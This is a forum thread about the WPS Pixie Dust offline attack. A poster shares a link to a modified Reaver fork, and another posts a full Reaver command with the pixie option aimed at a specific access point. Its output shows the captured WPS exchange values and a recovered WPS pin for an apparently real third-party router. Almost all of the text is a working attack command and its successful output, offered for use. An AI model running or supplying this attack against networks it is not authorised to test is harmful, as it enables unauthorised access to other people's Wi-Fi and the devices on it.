WPS Pixie Dust Attack (Offline WPS Attack)

[nuroo]

Here is my contribution

Reaver modified to make the pixiewps when testing a pin


GitHub - Here

https://github.com/t6x/reaver-wps-fork-t6x

Thanks t6, just tested it.

reaver -i mon0 -b 40:70:09:DC:81:F0 -vv -S -K1

Reaver v1.5.1 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]>

[+] Waiting for beacon from 40:**:**:**:BA:60
[+] Switching mon0 to channel 1
[+] Associated with 40:**:**:**:BA:60 (ESSID: TG1672G62)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: f2:f4:15:6c:59:39:dc:06:18:e9:c9:4f:e0:f3:8a:ad
[P] PKE: dc:1e:5a:f6:6c:b8:98:9f:de:77:66:4e:41:fb:e7:11:b7:02:b7:7c:59:52:11:81:19:32:f0:f7:51:4e:27:8e:57:9a:de:10:f7:b8:5b:1e:fd:aa:6e:06:9e:e1:f1:96:e5:5a:c7:6f:e8:41:f5:ae:4b:11:53:65:59:6f:48:11:07:4c:93:80:c3:bb:ee:9a:e8:af:50:f6:58:fd:97:52:37:30:e9:5b:8a:74:41:54:17:da:7e:ea:5a:8a:9e:bc:f7:40:7e:8d:65:29:f2:6b:21:ee:27:ae:c3:60:42:db:2c:75:2d:72:5e:33:79:7c:3a:5e:55:90:69:a9:2b:92:4d:2f:9a:14:13:1c:f0:f8:92:c6:77:04:eb:03:9c:e6:1f:7b:ea:8b:2b:5e:18:9f:99:49:38:e3:9a:4b:60:09:41:94:83:51:47:1d:b7:d5:1b:4c:51:7a:92:be:77:da:b5:eb:a3:86:7a:dc:84:b9:99:fe:02:2c:5c:44:36:a3
[P] WPS Manufacturer: Celeno Communication, Inc.
[P] WPS Model Number: CL1800
[+] Received M1 message
[P] PKR: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:02
[P] AuthKey: c3:ee:01:ef:f3:63:86:49:7e:24:13:54:d1:f0:0d:ff:57:77:12:65:38:34:6f:10:4a:c8:14:95:57:6c:0e:2f
[+] Sending M2 message
[P] E-Hash1: 41:73:b9:eb:ea:74:0f:b1:fd:1a:d1:93:0f:df:37:8e:d7:fe:6c:ee:c2:ec:0f:0d:60:ac:91:4d:04:60:03:ee
[P] E-Hash2: f7:42:2b:e7:13:6f:d0:00:d8:05:72:7d:b6:71:29:c4:10:1f:2f:01:0b:38:b2:9e:7d:99:3f:a7:86:d5:93:85
[Pixie-Dust]  
[Pixie-Dust]   [*] ES-1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust]   [*] ES-2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust]   [*] PSK1: d5:84:7c:94:bb:1c:3e:45:a5:3f:60:b4:a1:2b:a4:9b
[Pixie-Dust]   [*] PSK2: 45:68:18:4b:9b:28:45:c9:2a:c8:78:c3:b8:a9:b6:92
[Pixie-Dust]   [+] WPS pin: 60919014
[Pixie-Dust]  
[Pixie-Dust]   [*] Time taken: 0 s
[Pixie-Dust]  
[+] Received M3 message
[+] Sending M4 message
[+] Received M3 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response

+1 for adding pkr to reaver output
Awesome!!